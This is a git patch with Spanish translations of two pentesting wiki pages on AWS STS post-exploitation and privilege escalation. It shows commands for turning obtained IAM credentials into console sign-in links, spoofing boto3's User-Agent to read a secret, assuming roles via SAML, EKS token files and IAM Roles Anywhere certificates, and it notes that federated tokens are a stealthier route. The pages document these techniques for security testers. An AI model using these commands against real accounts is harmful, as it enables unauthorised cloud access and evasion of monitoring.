From 9705583f2165ef8a5c23d6a98cf3bcd227c11cb8 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 22:44:40 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-sts-post-exploitation.md | 28 ++++++--- .../aws-sts-privesc.md | 59 ++++++++----------- 2 files changed, 42 insertions(+), 45 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index f09e3ae70..cba87800b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - STS Post Explotación +# AWS - STS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -10,14 +10,14 @@ Para más información: ../aws-services/aws-iam-enum.md {{#endref}} -### De Credenciales IAM a Consola +### From IAM Creds to Console -Si has logrado obtener algunas credenciales IAM, podrías estar interesado en **acceder a la consola web** utilizando las siguientes herramientas.\ -Ten en cuenta que el usuario/rol debe tener el permiso **`sts:GetFederationToken`**. +Si has logrado obtener algunas IAM credentials, quizá te interese **acceder al web console** usando las siguientes herramientas.\ +Ten en cuenta que el user/role debe tener el permiso **`sts:GetFederationToken`**. #### Script personalizado -El siguiente script utilizará el perfil predeterminado y una ubicación predeterminada de AWS (no gov y no cn) para darte una URL firmada que puedes usar para iniciar sesión en la consola web: +El siguiente script usará el default profile y una ubicación por defecto de AWS (no gov y no cn) para proporcionarte una signed URL que puedes usar para iniciar sesión en el web console: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -64,11 +64,11 @@ pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` > [!WARNING] -> Asegúrese de que el usuario IAM tenga permiso `sts:GetFederationToken`, o proporcione un rol para asumir. - +> Asegúrate de que el usuario IAM tenga el permiso `sts:GetFederationToken`, o proporciona un rol para asumir. + #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) es una herramienta para almacenar y acceder de forma segura a las credenciales de AWS en un entorno de desarrollo. +[**aws-vault**](https://github.com/99designs/aws-vault) es una herramienta para almacenar y acceder de forma segura a credenciales de AWS en un entorno de desarrollo. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds @@ -79,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith ### **Eludir restricciones de User-Agent desde Python** -Si hay una **restricción para realizar ciertas acciones basadas en el user agent** utilizado (como restringir el uso de la biblioteca python boto3 según el user agent), es posible usar la técnica anterior para **conectarse a la consola web a través de un navegador**, o podrías **modificar directamente el user-agent de boto3** haciendo: +Si existe una **restricción para realizar ciertas acciones en función del User-Agent** utilizado (como restringir el uso de la librería python boto3 según el User-Agent) es posible usar la técnica anterior para **conectarte a la web console mediante un navegador**, o puedes directamente **modificar el user-agent de boto3** haciendo: ```bash # Shared by ex16x41 # Create a client @@ -92,4 +92,14 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` +### **`sts:GetFederationToken`** + +Con este permiso es posible crear una identidad federada para el usuario que lo ejecuta, limitada a los permisos que tiene ese usuario. +```bash +aws sts get-federation-token --name +``` +El token devuelto por sts:GetFederationToken pertenece a la identidad federada del usuario que realiza la llamada, pero con permisos restringidos. Incluso si el usuario tiene derechos de administrador, ciertas acciones, como listar IAM users o attaching policies, no pueden realizarse a través del token federado. + +Además, este método es algo más sigiloso, ya que el usuario federado no aparece en el AWS Portal; solo puede observarse a través de CloudTrail logs o herramientas de monitorización. + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index ab2ff97ec..337bd20cd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,7 +6,7 @@ ### `sts:AssumeRole` -Cada rol se crea con una **política de confianza del rol**, esta política indica **quién puede asumir el rol creado**. Si un rol de la **misma cuenta** dice que una cuenta puede asumirlo, significa que la cuenta podrá acceder al rol (y potencialmente **privesc**). +Cada rol se crea con una **política de confianza del rol**, esta política indica **quién puede asumir el rol creado**. Si un rol de la **misma cuenta** indica que una cuenta puede asumirlo, significa que la cuenta podrá acceder al rol (y potencialmente **privesc**). Por ejemplo, la siguiente política de confianza del rol indica que cualquiera puede asumirlo, por lo tanto **cualquier usuario podrá privesc** a los permisos asociados con ese rol. ```json @@ -27,35 +27,16 @@ Puedes suplantar un rol ejecutando: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` -**Impacto Potencial:** Privesc al rol. +**Impacto potencial:** Privesc al rol. > [!CAUTION] -> Tenga en cuenta que en este caso el permiso `sts:AssumeRole` debe ser **indicado en el rol a abusar** y no en una política que pertenezca al atacante.\ -> Con una excepción, para **asumir un rol de una cuenta diferente** la cuenta del atacante **también necesita** tener el **`sts:AssumeRole`** sobre el rol. +> Ten en cuenta que en este caso el permiso `sts:AssumeRole` debe estar **indicado en el rol que se va a abusar** y no en una política perteneciente al atacante.\ +> Con una excepción, para **asumir un rol desde otra cuenta** la cuenta atacante **también necesita** tener el **`sts:AssumeRole`** sobre el rol. -### **`sts:GetFederationToken`** -Con este permiso es posible generar credenciales para suplantar a cualquier usuario: -```bash -aws sts get-federation-token --name -``` -Así es como se puede otorgar este permiso de manera segura sin dar acceso para suplantar a otros usuarios: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "VisualEditor0", -"Effect": "Allow", -"Action": "sts:GetFederationToken", -"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" -} -] -} -``` ### `sts:AssumeRoleWithSAML` -Una política de confianza con este rol otorga **a los usuarios autenticados a través de SAML acceso para suplantar el rol.** +Una política de confianza para este rol concede **a los usuarios autenticados vía SAML acceso para suplantar el rol.** Un ejemplo de una política de confianza con este permiso es: ```json @@ -78,36 +59,36 @@ Un ejemplo de una política de confianza con este permiso es: ] } ``` -Para generar credenciales para suplantar el rol en general, podrías usar algo como: +Para generar credenciales para suplantar el rol, en general podrías usar algo como: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` -Pero los **proveedores** pueden tener sus **propias herramientas** para facilitar esto, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +Pero **proveedores** podrían tener sus **propias herramientas** para facilitar esto, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` -**Impacto Potencial:** Privesc al rol. +**Impacto potencial:** Privesc al rol. ### `sts:AssumeRoleWithWebIdentity` -Este permiso otorga la capacidad de obtener un conjunto de credenciales de seguridad temporales para **usuarios que han sido autenticados en una aplicación móvil, web, EKS...** con un proveedor de identidad web. [Aprende más aquí.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +Este permiso permite obtener un conjunto de credenciales de seguridad temporales para **usuarios que han sido autenticados en una aplicación móvil, web, EKS...** con un proveedor de identidad web. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) -Por ejemplo, si una **cuenta de servicio de EKS** debería poder **suplantar un rol de IAM**, tendrá un token en **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** y puede **asumir el rol y obtener credenciales** haciendo algo como: +Por ejemplo, si una **cuenta de servicio de EKS** debería poder **suplantar a un rol de IAM**, tendrá un token en **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** y podrá **asumir el rol y obtener credenciales** haciendo algo como: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` -### Abuso de Federación +### Federation Abuse {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} -### Privesc de IAM Roles Anywhere +### IAM Roles Anywhere Privesc -AWS IAM RolesAnywhere permite que cargas de trabajo fuera de AWS asuman roles de IAM utilizando certificados X.509. Pero cuando las políticas de confianza no están adecuadamente definidas, pueden ser abusadas para la escalada de privilegios. +AWS IAM RolesAnywhere permite que cargas de trabajo fuera de AWS asuman roles de IAM usando certificados X.509. Pero cuando las políticas de confianza no están correctamente acotadas, pueden ser abusadas para escalada de privilegios. -Esta política carece de restricciones sobre qué ancla de confianza o atributos de certificado están permitidos. Como resultado, cualquier certificado vinculado a cualquier ancla de confianza en la cuenta puede ser utilizado para asumir este rol. +Esta política no tiene restricciones sobre qué trust anchor o atributos del certificado están permitidos. Como resultado, cualquier certificado vinculado a cualquier trust anchor en la cuenta puede usarse para asumir este rol. ```json { "Version": "2012-10-17", @@ -127,9 +108,9 @@ Esta política carece de restricciones sobre qué ancla de confianza o atributos } ``` -Para la escalación de privilegios, se requiere el `aws_signing_helper` de https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html +Para privesc, se requiere el `aws_signing_helper` desde https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html -Luego, utilizando un certificado válido, el atacante puede pivotar hacia el rol de mayor privilegio. +Luego, usando un certificado válido, el atacante puede pivot hacia el role de mayor privilegio ```bash aws_signing_helper credential-process \ --certificate readonly.pem \ @@ -138,7 +119,13 @@ aws_signing_helper credential-process \ --profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ --role-arn arn:aws:iam::123456789012:role/Admin ``` -### Referencias +El trust anchor valida que el certificado de cliente `readonly.pem` proviene de su CA autorizada; cuando se creó el trust anchor se incluyó el certificado público de la CA (y ahora se usa para validar `readonly.pem`). Dentro de `readonly.pem` está la clave pública, que AWS usa para verificar que la firma fue hecha con su clave privada correspondiente `readonly.key`. + +El certificado también prueba la identidad y proporciona atributos (como CN u OU) que el perfil `default` transforma en tags, los cuales la trust policy del role puede usar para decidir si autorizar el acceso. Si no hay condiciones en la trust policy, esas tags se ignoran y cualquiera con un certificado válido puede acceder. + +Para que este ataque sea posible, tanto el trust anchor como el perfil `default` deben estar activos. + +### References - [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)